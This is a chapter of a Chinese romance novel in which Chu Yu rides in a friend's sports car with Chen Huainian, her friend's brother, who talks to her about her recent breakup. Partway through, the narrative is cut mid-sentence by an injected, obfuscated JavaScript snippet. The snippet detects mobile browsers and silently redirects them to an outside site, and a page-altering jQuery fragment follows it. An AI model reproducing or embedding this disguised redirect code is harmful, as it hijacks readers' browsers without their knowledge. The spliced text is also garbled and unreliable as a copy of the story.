跑车的底盘正如陈淮年所说的，非常低，低到楚瑜有种贴地飞行的眩晕感。只能紧紧抓住胸前的安全带，那似乎是她唯一的安全感的来源。
车子从小区的车库里驶出来，一个漂亮的转弯，汇入主路滚滚车流中。
春夏之交的夜色，有种壮阔又温柔的美。深蓝色的天空下，路灯点点散发着边缘模糊却又柔软的黄光。
驾驶座上的人扫过来一眼，开口说：“你想去哪里？”
楚瑜回过神来，她哪里有计划。如果不是陈淮年突如其来的提议，她或许会躲回无忧的屋子里，再哭一两场。感情起伏太耗人精力，她已经具备过去几个月的丰富经验，知道再难过的情绪也会随着眼泪一起排出体外，她终将再度平静。
不过，想必无忧的哥哥不会乐意听到“您随意”这样毫无指向性的话。
因为无忧跟她抱怨说，有一次吃完晚餐，周茹问她要不要吃雪糕。她说要。周茹又接着问，要哪种？她回说，那就随便吧。
陈淮年就当场拧了眉毛，说如果在职场，建议你少用“随便”这个口头语。
无忧气得直跳脚，在她面前来回踱步：得亏那是个雪糕的品牌，得亏她不用在这样的人手下工作。
想到愤怒美少女最后咬着雪糕将包装袋摆在自家哥哥面前的名场面，楚瑜打起精神，清了清嗓子说：“那就海虹路吧。网上说，那条路上的三角梅开得很漂亮。”
网上有很多可爱的说法，她们会俏皮地说，“呐，尊敬的纳税人你该出门了！你交的税开花了。”
她们还会假装烦恼，“怎么控制想当偷花贼的心？”
但以上无论哪种对话，都不适宜出现在她和陈淮年之间。
他们不是可以轻松对谈的关系。
世间至难，莫过于分寸拿捏。
多一分则险。
所以她挑了一个自认为最安全的话题：“我能开一下车窗吗？”
加入车外的风声，人流声和汽车鸣笛声，不至于让车里的尴尬这么明显。
陈淮年的声音淡和，他说：“当然能，只是需要你自己找开窗的地方。”
车子是他朋友的，项目款回收意外收回了这么一台大宝贝，还打算做个改装，奈何中意的改装师最近忙不开。他人又急着出差，就巴巴找了托运公司暂放在了他这里，千叮咛万嘱咐对方一旦有空挡出来，就立刻给他送过去。
话少，但解释得极清楚——他对这车也不大熟。
楚瑜就不敢动了，双手规规矩矩搁在膝盖上。
上个车都那么费劲，谁知道这个大宝贝里头还有什么机关，万一按错了呢！
“喜欢这台车？”
手上似乎还残留了刚刚柔软似水的触感，陈淮年略微往副驾驶那边看了一眼。
路灯流光阵阵，拂过她夜雾般的新发色和略显拘谨的表情。
楚瑜看向窗外：“不是。是我的……一个朋友喜欢，听他提起过。”
陈淮年秒懂：“那个……前男友？”
丝毫不意外。
一个朋友，还能是哪个朋友，总不至于是凭车辆颜色判定自己喜好的柯无忧。
他的语气明明冷静得像旁观者，但楚瑜硬生生在他的停顿里，又听出来熟悉的“哀其不幸怒其不争”的意味。
她不知道对方在替她“哀”和“怒”什么，被分手固然是一种不大愉快的人生体验，但她默默消化，静静自我痊愈，已经好过学校里那些失恋就醉酒乱嚎的男生一万倍了好吗？！
楚瑜在走神的片刻，听到旁边又有声音传来。
“又要哭了？”
她瞪大了眼睛转过头去，满脸的不可思议，连连否认。
“我没有，我只是想起一些不太愉快的事情，绝对没有要哭的意思。谢谢您。”
话一说完立马后知后觉蜷起脚指头，好像他在的场合，她流泪的次数确实多了一些。
“……我这么老？”
话题转换得太快，叫楚瑜一时意识混乱，过了好一阵才反应过来时因为那个“您”字带来的连锁反应。
她摇头解释：“是尊称。您是无忧的哥哥，也是公司的投资人，叫您其他担心有乱攀关系的嫌疑。”
对陈淮年这样身家的人来说，良好的教养只是他的保护色，他的底色是疏离和淡漠——像初次见面隔窗看过来的那道视线，“亲和”是他仅亲朋可见的限定款。
和她关系好的人是无忧，而非无忧的哥哥，她分得很清楚。
还是“您”。
陈淮年扬眉：“我看你这关系不使得挺顺手的。”
从酒吧，深夜电话到现在。
这要是裴元松或是程植在场，肯定立马就跳起来反驳了，“就你那从不做无用功的脾性，谁指挥得动你。”
但楚瑜不了解他。
狭窄的空间里本就充斥着他的气息，而现在她被这样庞大的名义指控，辩驳无能，解释也无从下口，呆愣一瞬只不过憋出几个字：“抱歉，我不是故意的。”
就像今天，谁知道那台车是他朋友的，如果知道她肯定不往那里站。
她想，在他的眼里，她大概和那些试图攀附他的人也没什么区别，用美色，靠朋友关系往他面前站。
车程还未过半，在这个一波三折跳跃性极大的片段里，楚瑜经历了如坐过山车般跌宕的心情，春天的潮湿好像又在此刻悄悄爬上她的睫毛。
她伸手去摸车窗边缘的一排英文字母，决心收回“今天是很好的一天”的评价。今晚可真是太糟糕了，从看到车库里的这台车开始。
不要再在他面前流眼泪。
不要再在他面前流露软弱。
不要再做一切叫人误会的事情。
唇内的软肉承受了她激荡的情绪。
陈淮年最开始没有意识到这种安静，他分了大半的心神留意车外。每一个路口，都有人举起手机对准他们这台车。
而现在，车后还跟了一台黑色的悍马，从上上个路口开始闪他。
最开始他以为是跑车爱好者，在后视镜里多瞄了两眼车牌号，有点眼熟，才恍然想起，哦，好像是京市那边一个大院子弟常开的那台。
在等红灯间隙发了条消息过去，那台车又跟过来和它并行了一阵才心不甘情不愿地离去，留下一条洞察世情的调侃。
“难怪放我们鸽子放得那么干脆，敢情车上有妞儿。”
车子像哑剧的舞台，沉默着驶过一个又一个路口，从车水马龙的市中心开往郊区的方向，路上的车渐渐少了起来。
从陈淮年的角度，只能看到她被灰蓝色头发挡住了大半的侧脸和微微垂下的睫毛。和他看到的视频里的表情类似，那是一种在怀念里徘徊的挣扎。
在他的车上还想着那个前男友。
这个认知让陈淮年不自觉地脚下用力，车子发动机的轰鸣声掩盖了他语气里的情绪：“……还想着他？”
楚瑜不知道话题为何又跳回了前男友身上。
是被动的“想起了他”，而不是主动的“还想着他”，中文里的语气和语态差之毫厘谬以千里，但牵扯到前序的解释……楚瑜的自尊心强势回位，她抿唇，没什么兴致地嗯了一声，恨不得在后面加上，是是是，我还想着他，真没空攀附您这样的。
但是她忍住了。
那样的话是否又有“此地无银三百两，隔壁王二不曾偷”的嫌疑？
没想到的是，她的一个字引发驾驶座上的人突然的单方面输出。
“ 站在男人的角度，可能你觉得突然，是断崖式的分手，但对方显然不一样，他一定早就做好了离开的准备，只是你没有发现。对方之所以突然离开，一定是他不想让你知道分开的真正原因。”
“这个原因要么无解，要么他自己也知道原因说出来自己就是个……bastard。”
车子的驾驶舱比普通的车要小，陈淮年的每一个字都似乎带了回音，弹到车壁上，又咕噜噜弹了回来，钻进楚瑜的耳朵里，让她短暂忘记了今晚因他那巨大自我而升腾起来的抵触情绪。
他大概说了两人认识以来最长的一句话，还带了点儿……安抚她的意思？
楚瑜不觉得自己有那么大的面子，多半还是看在无忧的面子上。
但这是从未有人和她提及的新角度。
父母的关心是具体的，曾蔓苓和老楚都私底下给她转了钱，一个叫她出去旅游，另一个让她多买点好吃的。
而朋友的安慰是善良的温柔的，所有人都异口同声地说，你很好，你没有问题，出问题的是对方。
在被分手之初，她曾祈求一个能说服自己的被分手的理由。
像职场上被开除是因为“业务能力不够”那样的直白的，残忍的理由，有多维度，多视角的工作记录支撑这一个结论。
像她写的论文那样，明确的论点，有力的论据和合理的逻辑连接，她才好划下“恋情结束”的完整句号。
一招夺命，好过慢刀子割肉。
只有经历过失恋的人才知道，被分手最痛苦不是知道的那一刻，而是日后想起他的每一刻。
但她靠时间这剂良药将自己治愈了大半，又猛然听到印在“被分手”的另外一页的解释，比“被分手”本身更巨大绵长的痛苦瞬间升起。
原来不是她不够好吗？
原来还有这样一重解读。
……
过去的相处细节像源头的活水一样涌来。
她们也曾冷战过，吵架过。
最长时间的一次，是三天。
原因是楚瑜投资的一家电影院的季度分红打到了她的账户上，六位数，她的账户余额，七位数。那笔钱本来是家里给她的购房款，学校的集体户口只够买商业性质的公寓，她看了一圈没有太满意的，恰好无忧的朋友想接手一家濒临倒闭的电影院，两个人都觉得还不错，就投了钱进去，竟意外获得不菲的回报。
短信她截了图，发给家里看的。
沈其琛借她的电脑看自己的表演课作业时无意中翻到，当时没说什么。后来有次两人去打卡一家黑珍珠餐厅，账单的金额很美丽，沈其琛还在对账单的时候，楚瑜抢着去买了单，回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556521|171300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的路上他已经有些挂脸，当晚的视频也找借口给挂了。
楚瑜以为是自己买单让他没了面子。
谁料人家回应是：藏着掖着自己有钱，是担心我像那天那样吃软饭吗？
少年人的自尊心像风中裸露久了的塑料一样易碎，楚瑜只得从小时候村里拆迁说起，讲到邻居弟弟被人绑架勒索，再讲到家里的耳提面命，最后讲到那顿饭是她提议去的……才将人哄了回来。
那个时候的她不以为这是件很大的事情。
恋爱的时候不会考虑到双方的家世背景，喜欢就是最容易触发的心动按钮，不需要附加任何世俗的条件。
——是因为这个理由吗？
毕业季，因为前途而各奔东西的情侣不在少数，“马斯洛需求层次理论”被完美诠释。人总是要先生存，才能去顾及类似爱和归属的需要。
在此之前，楚瑜已经打定主意，绝不做任何再叫陈淮年误会的事情。她可以和任何人讨论男女之间情爱的话题，和同学，和朋友，和同事，和网上的陌生人，但绝应该不包括陈淮年。
但这一刻，她突然意识到，在无忧的哥哥，公司的投资人等多重社会角色的身份之外，他和沈其琛一样，都是男人。
男人最懂同类的心理。
这样的发现让她难受，好像被安置好的情绪再度拿出来炙烤。
原来快乐的恋爱可能只是她单方面的以为，原来她以为的坦诚相待可能是他特意配合的虚与委蛇……衬得她这段时间的伤心和难过都像个巨大的笑话。
车里又沉默了一段时间，陈淮年的语调微微下沉：“所以，你的眼泪和内耗毫无意义。楚瑜，真正要走出来，就去当面说开。体面不体面的，并没有那么重要。”
他没有耐心再看她几次三番的因为这个前男友而流眼泪。在他所受到的教育里，企业如果沉疴已久，不经一番刮骨疗毒的狠厉决心，很难再重新扬帆起航。
只自己伤心算怎么回事。
她不应当被失恋这层灰蒙住。
天地广阔，哪个好男儿不比这个前男友强。
这是陈淮年第一次开口叫她。
像命令，语气里带了强烈的压迫感，直直朝她扑过来。
无忧曾经说，她哥像个没情绪的机器人一样，永远冷静，永远有计划。什么时间该做什么事情，安排得一丝不苟。
就连隔着宽阔的太平洋，都能远程给国内的她下达最精确的指令。
“今天做数学练习册第47-49页的习题，复习排列组合二项式定理。”
“英语听力练好了，可以去拉一小时中提琴换换心情。”
……
现在，楚瑜真切体会到了好友对她哥哥怨念的由来。
她悄悄松了一口气，真情实感地说：“谢谢，我知道了。”
他原本可以不和她说这些。
“你知道什么了？”陈淮年看准路边的空停车位，手下流畅地打了方向盘丝滑停好，然后才好整以暇转过身看着她，“具体说来听听。”
这跟语文试卷里的概括中心思想有什么区别？
以她对无忧哥哥不多的了解，不说出个子丑寅卯来，一定又会被这位大家长像训无忧那样教育。
楚瑜秉承多说多错的原则，言简意赅地回：“不耽于情爱，以及好好学习。”
陈淮年简直要被气笑了。
他都将解决办法明牌甩她面前了，她还拿假大空的套话来敷衍他，多少年没人做过这种事情了。他垂眼解开安全带，不自觉在方向盘上点了几下：“怎么个不耽于情爱法？”
“好好做实习工作，好好写论文答辩PPT，好好准备毕业。”
只要是和学习相关的话题，东亚家长就没有不爱听的，楚瑜字斟句酌，觉得自己交出了满分答卷。
陈淮年掀起眼帘，目光沉沉地落在她的脸上。
那张未施粉黛的脸白白的，眼神清澈，唯有下嘴唇上带了一点倔强的红。
楚瑜没有从对方口里听到对她答卷的评语，只觉得他应该不大满意这个回答，因为他的脸色比之前明显沉了几分。
但依然还是绅士，先下了车绕去副驾驶座那边扶她。
尽管楚瑜已经很注意下车时的动作了，还是只顾了脚底下忘记了不大高的座舱盖，一头撞了上去，响动不小。
陈淮年想也没想就伸手揽了上去：“小心点。”
衣衫轻薄，怀里的纤腰细细一把，接触到的身体立刻像有把火腾腾烧了起来。
楚瑜下意识伸出另外一只手臂勾住眼前人的肩背，缓了好几秒，才听到耳旁有冷硬的声音响起：“怎么这么不小心？”
然后把她从他胸前剥开来，往旁边一放。
像是嫌弃。
楚瑜愣愣伸手去揉头上被撞到的部分，不知道自己为什么又忍这位大老板生气了，一而再再而三的，泥人也有三分脾性。
她的眼泪不受控地掉出来，砸在他还没来得及收回的手背上。
“你对我这么凶做什么？”
“我又不是你妹妹。”